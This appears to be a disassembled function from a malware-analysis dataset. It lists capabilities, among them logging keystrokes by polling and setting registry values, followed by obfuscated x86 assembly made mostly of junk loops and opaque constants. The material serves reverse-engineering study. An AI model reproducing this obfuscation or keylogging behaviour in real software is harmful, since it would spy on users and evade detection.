Function at 0x1002faeb
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Delete file
Get common file path
Get keyboard layout
Get system information on windows
Log keystrokes via polling
Set registry value

Disassembly:
mov eax, 0x1007d5ea
call fcn.1007cf80
mov eax, 0x12fc
call fcn.10079670
push ebx
mov ebx, 0x5d6c05ba
mov byte [ebp - 0x75], dl
mov dword [ebp - 0x34], ebx
xor eax, eax
mov dword [ebp - 0x38], 0x121f90ef
push esi
mov esi, dword [sym.imp.GDI32.dll_GetObjectType]
mov byte [ebp - 0x55], al
push edi
mov dword [ebp - 0x70], ecx
cmp byte [ebp - 0x55], al
je 0x1002fb2c
push eax
call esi
xor eax, eax
push 0xfffffffffffffff2
mov dword [ebp - 0x34], eax
pop edi
cmp dword [ebp - 0x34], edi
je 0x1002fb4e
mov dword [ebp - 0x30], 0xa6e6
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jne 0x1002fb37
xor eax, eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0x121f90ef
mov byte [ebp - 0x55], al
cmp byte [ebp - 0x55], 0
je 0x1002fb66
push eax
call esi
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edi
je 0x1002fb85
mov dword [ebp - 0x30], 0xa6e6
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jne 0x1002fb6e
xor eax, eax
xor edi, edi
mov dword [ebp - 0x2c], 0x5a136951
inc edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x4c], 8
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002fbbc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd38], 0xc0ae
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002fba4
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002fbdc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x250], 0x726f2c0e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002fbc4
xor eax, eax
dec dword [ebp - 0xd30]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xb
je 0x1002fca1
mov dword [ebp - 0x14], 0xb7d6b592
mov dword [ebp - 0x28], eax
jmp 0x1002fc0c
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x134], 0x89d68482
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1002fbfb
mov eax, dword [ebp - 0xd30]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0x250]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x30]
test eax, eax
push 0
sets cl
xor ebx, ebx
mov dword [ebp - 0x250], ecx
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setg bl
sub eax, 0x3c8cbf69
neg ebx
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, ebx
mov eax, dword [ebp - 0x2c]
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setg cl
mov dword [ebp - 0x134], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xb
jne 0x1002fbef
mov ebx, 0x5d6c05ba
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], 0x1342f3d4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002fcce
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3d8], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002fcb6
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002fcee
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x348], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002fcd6
xor eax, eax
mov byte [ebp - 0x55], al
cmp byte [ebp - 0x55], 0
je 0x1002fd1b
push 0x135
push eax
push 0x121c
push 0x1eef
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [ebp - 0x3d8]
mov eax, dword [ebp - 0x40]
dec dword [ebp - 0x40]
cmp eax, ecx
jge 0x1002fd31
mov eax, dword [ebp - 0x348]
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x348], eax
xor eax, eax
mov dword [ebp - 0x38], 0x121f90ef
mov dword [ebp - 0x3c], 0x13b91020
push 3
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x40], 0x39d98273
pop edx
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x17
push 0xffffffffffffffff
pop ecx
mov dword [ebp - 0x68], 0xfffffffc
jl 0x1002ff24
mov esi, dword [ebp - 0x68]
push 2
pop ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edx
jge 0x1002fd9b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x384], 0x4e7937d8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x1002fd83
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002fdc2
push 4
pop ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x728], 0xbf2465c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002fda7
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002fde2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x980], 0x48ffd526
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002fdca
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002fe02
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x488], 0x47684a57
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002fdea
xor eax, eax
mov dword [ebp - 0x37c], 0xffffffea
cmp dword [ebp - 0x37c], 4
jne 0x1002fe8f
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x4c], 0x8651162f
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jg 0x1002fe7a
mov dword [ebp - 0x2c], 0xfffffffa
xor edx, edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x37c]
mov eax, dword [ebp - 0x44]
cmp eax, esi
mov eax, dword [ebp - 0x380]
setge dl
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], eax
jmp 0x1002fe67
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x728], eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xf
jle 0x1002fe5b
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jle 0x1002fe2a
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x4c]
inc dword [ebp - 0x37c]
cmp dword [ebp - 0x37c], 4
je 0x1002fe15
push 3
pop edx
cmp dword [ebp - 0x3c], eax
jne 0x1002fef4
mov eax, dword [ebp - 0x728]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], edi
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x724]
mov eax, dword [ebp - 0x28]
test eax, eax
setg cl
mov dword [ebp - 0x728], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x37c], eax
mov eax, dword [ebp - 0x724]
mov eax, dword [ebp - 0x980]
test eax, eax
sets cl
mov dword [ebp - 0x980], ecx
test ecx, ecx
jne 0x1002fee8
mov eax, dword [ebp - 0x728]
mov eax, dword [ebp - 0x728]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x488]
mov eax, dword [ebp - 0x28]
push 0
mov dword [ebp - 0x488], edi
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x17
pop eax
push 0xffffffffffffffff
pop ecx
jge 0x1002fd7b
mov esi, dword [sym.imp.GDI32.dll_GetObjectType]
mov ebx, 0x5d6c05ba
mov byte [ebp - 0x55], al
cmp byte [ebp - 0x55], 0
je 0x1002ff32
push eax
call esi
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff2
je 0x1002ff53
mov dword [ebp - 0x30], 0xa6e6
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff2
jne 0x1002ff3b
xor eax, eax
mov dword [ebp - 0x44], 0xad59e57a
or ecx, 0xffffffff
mov dword [ebp - 0x1c], 0xfffffffa
mov dword [ebp - 0x18], 0xbbde
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x34], 0x30bca0be
mov dword [ebp - 0x28], eax
jmp 0x1002ff8b
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x130], 0x28ea388
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1002ff7a
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x100300fa
or ebx, 0xffffffff
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x100300e0
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x55], al
cmp byte [ebp - 0x55], 0
je 0x1002fff8
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x100300d7
push 4
pop ebx
mov dword [ebp - 0x14], 0x3604
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x100300cb
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jg 0x100300b5
mov dword [ebp - 0x3c], 0x6d9de360
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jg 0x1003006b
mov dword [ebp - 0x14], 6
xor edx, edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x130]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x44]
setle dl
mov dword [ebp + eax*4 - 0x130], edx
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10030069
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], eax
jle 0x10030035
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10030082
mov ecx, 0xba6dad3f
mov edx, eax
mov dword [ebp - 0x130], ecx
cmp dword [ebp - 0x3c], ecx
jg 0x10030084
mov edx, edi
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
push 5
setle cl
xor eax, eax
pop edx
cmp ecx, edx
setge al
cmp dword [ebp - 0x3c], eax
jge 0x100300a2
mov dword [ebp - 0x30], ebx
jmp 0x100300a5
dec dword [ebp - 0x4c]
inc dword [ebp - 0x34]
xor esi, esi
push esi
pop eax
cmp dword [ebp - 0x34], esi
jle 0x10030026
mov eax, dword [ebp - 0x2c]
push 0
mov eax, dword [ebp + eax*4 - 0x130]
dec dword [ebp - 0x1c]
pop eax
jns 0x1003001a
dec dword [ebp - 0x2c]
jns 0x10030007
or ebx, 0xffffffff
dec dword [ebp - 0x44]
jns 0x1002ffe3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1002ffd4
mov esi, dword [sym.imp.GDI32.dll_GetObjectType]
mov ebx, 0x5d6c05ba
or ecx, 0xffffffff
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x28], 0x2ee76f50
mov dword [ebp - 0x30], ecx
push 2
mov dword [ebp - 0x28], eax
pop ebx
cmp dword [ebp - 0x28], ebx
jge 0x1003012a
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xff0], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10030112
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10030156
mov byte [ebp - 0x55], al
cmp byte [ebp - 0x55], 0
je 0x1003014c
push eax
push 0x1f13
push 0x1f9a
push eax
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
xor eax, eax
mov dword [ebp - 0x30], 0xb8c3ad3b
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x1003012f
mov dword [ebp - 0x38], 0x121f90ef
mov dword [ebp - 0x2c], 0x5a136951
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x4c], 8
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030196
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd54], 0xc0ae
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003017e
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x100301b6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x220], 0x726f2c0e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003019e
xor eax, eax
dec dword [ebp - 0xd4c]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xb
je 0x10030280
mov dword [ebp - 0x14], 0xb7d6b592
mov dword [ebp - 0x28], eax
jmp 0x100301e6
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x114], 0x89d68482
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x100301d5
mov eax, dword [ebp - 0xd4c]
xor esi, esi
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x220], esi
mov eax, dword [ebp - 0x220]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x30]
test eax, eax
push esi
sets cl
xor ebx, ebx
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setg bl
sub eax, 0x3c8cbf69
neg ebx
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, ebx
mov eax, dword [ebp - 0x2c]
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setg cl
mov dword [ebp - 0x114], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xb
jne 0x100301c9
mov esi, dword [sym.imp.GDI32.dll_GetObjectType]
xor eax, eax
push 2
pop ebx
mov byte [ebp - 0xd], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x40], 0x1342f3d4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x100302ad
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x350], 0xfffffffa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030295
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x100302cd
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3e0], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100302b5
xor eax, eax
mov byte [ebp - 0x55], al
cmp byte [ebp - 0x55], 0
je 0x100302fa
push 0x135
push eax
push 0x121c
push 0x1eef
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [ebp - 0x350]
mov eax, dword [ebp - 0x40]
dec dword [ebp - 0x40]
cmp eax, ecx
jge 0x10030310
mov eax, dword [ebp - 0x3e0]
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0x3e0], eax
cmp byte [ebp - 0xd], 0
je 0x100304ee
mov dword [ebp - 0x3c], 0x13b91020
push 0xfffffffffffffff8
pop eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x40], 0x39d98273
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x17
jl 0x100304eb
mov esi, dword [ebp - 0x68]
push 3
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x1003036f
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x394], 0x4e7937d8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10030357
xor eax, eax
push 4
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x10030392
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x744], 0xbf2465c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1003037a
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x100303b2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x9f0], 0x48ffd526
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1003039a
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x100303d2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3f8], 0x47684a57
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x100303ba
xor eax, eax
mov dword [ebp - 0x38c], 0xffffffea
cmp dword [ebp - 0x38c], ecx
jne 0x1003045e
or ecx, 0xffffffff
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x4c], 0x8651162f
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jg 0x1003044c
mov dword [ebp - 0x2c], 0xfffffffa
xor edx, edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38c]
mov eax, dword [ebp - 0x44]
cmp eax, esi
mov eax, dword [ebp - 0x390]
setge dl
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], eax
jmp 0x10030439
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x744], eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xf
jle 0x1003042d
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jle 0x100303fc
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x4c]
inc dword [ebp - 0x38c]
cmp dword [ebp - 0x38c], 4
je 0x100303e7
cmp dword [ebp - 0x3c], eax
jne 0x100304c3
mov eax, dword [ebp - 0x744]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], edi
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x740]
mov eax, dword [ebp - 0x28]
test eax, eax
setg cl
mov dword [ebp - 0x744], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x740]
mov eax, dword [ebp - 0x9f0]
test eax, eax
sets cl
mov dword [ebp - 0x9f0], ecx
test ecx, ecx
jne 0x100304b7
mov eax, dword [ebp - 0x744]
mov eax, dword [ebp - 0x744]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3f8]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3f8], edi
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x17
push 0
pop eax
jge 0x1003034c
mov esi, dword [sym.imp.GDI32.dll_GetObjectType]
push eax
call esi
mov dword [ebp - 0x38], 0xfffffff7
xor esi, esi
mov dword [ebp - 0x38], 0x4cd45360
inc esi
mov dword [ebp - 0x38], 0x473eb905
mov dword [ebp - 0x38], 0x3111738a
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x38], 0xe8588d0d
mov dword [ebp - 0x38], ebx
push 4
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x45625132
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x38], 0xdcd66a07
mov dword [ebp - 0x38], 0xf0720718
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10030567
or ecx, 0xffffffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xbf0], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10030553
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10030587
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xc00], 0xe81720d7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1003056f
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x100305a6
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x374], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10030592
xor eax, eax
dec dword [ebp - 0x374]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff2
push 3
pop edi
je 0x1003074a
mov dword [ebp - 0x44], 0x245f1dbe
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jge 0x100305e3
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x8d0], 0xf1febaee
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x100305cb
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jg 0x1003061d
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp + eax*4 - 0x8d0]
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x8d0], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp + eax*4 - 0x8d0]
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x8d0], ecx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jle 0x100305eb
xor eax, eax
mov dword [ebp - 0x30], 0xa6e6
mov dword [ebp - 0x1c], 0xfffffffa
mov dword [ebp - 0x4c], 0xffbe5849
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10030655
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1c4], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003063d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030675
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1cc], 0x12dc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003065d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1003069a
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030695
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x1003067d
mov eax, dword [ebp - 0x1c4]
xor edx, edx
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
cmp eax, esi
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x40], eax
je 0x100306cd
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x100306ff
mov edx, esi
cmp dword [ebp - 0x1cc], eax
jne 0x10030701
mov edx, eax
mov eax, dword [ebp - 0x1c4]
xor ecx, ecx
cmp eax, edx
push 0
setne cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c8]
mov edx, dword [ebp - 0x1c]
sub edx, eax
mov eax, dword [ebp - 0x1cc]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x1c4], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff2
pop eax
jne 0x100305bc
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x3c], 0xfffffffe
mov dword [ebp - 0x40], 0x2d949044
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1003077e
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x610], 0x7c8fa1b4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10030766
xor eax, eax
cmp dword [ebp - 0x24], esi
jb 0x100307f0
mov dword [ebp - 0x4c], 0x7e4f
mov dword [ebp - 0x50], 0xe1c97412
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp ecx, eax
sbb eax, eax
xor ebx, ebx
neg eax
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle bl
sub ebx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0x16
jmp 0x100307e5
mov dword [ebp - 0x2c], esi
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
jne 0x100307df
jmp 0x100308e3
mov dword [ebp - 0x30], 0x4a11600d
mov dword [ebp - 0x54], 0x43c7
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x10030821
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x98], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x10030809
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x1003084c
push 5
pop ecx
mov dword [ebp - 0x38], 0x9ba
mov dword [ebp - 0x38], 0xfb5d1cb6
mov dword [ebp - 0x38], 0x14c5530c
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x4c]
dec dword [ebp - 0x24]
jns 0x1003082c
cmp dword [ebp - 0x98], eax
je 0x10030857
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x98]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
jne 0x1003088c
xor eax, eax
cmp dword [ebp - 0x98], eax
je 0x10030898
jmp 0x1003088e
xor eax, eax
mov edx, esi
cmp dword [ebp - 0x98], eax
jne 0x1003089a
mov edx, eax
mov dword [ebp - 0x610], edx
xor ecx, ecx
mov eax, dword [ebp - 0x98]
cmp edx, eax
mov eax, dword [ebp - 0x98]
setne cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x98]
mov edx, dword [ebp - 0x54]
setge bl
sub ebx, eax
mov eax, dword [ebp - 0x98]
sub ebx, 0xdbc75b16
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
imul edx, ebx
cmp edx, eax
setge cl
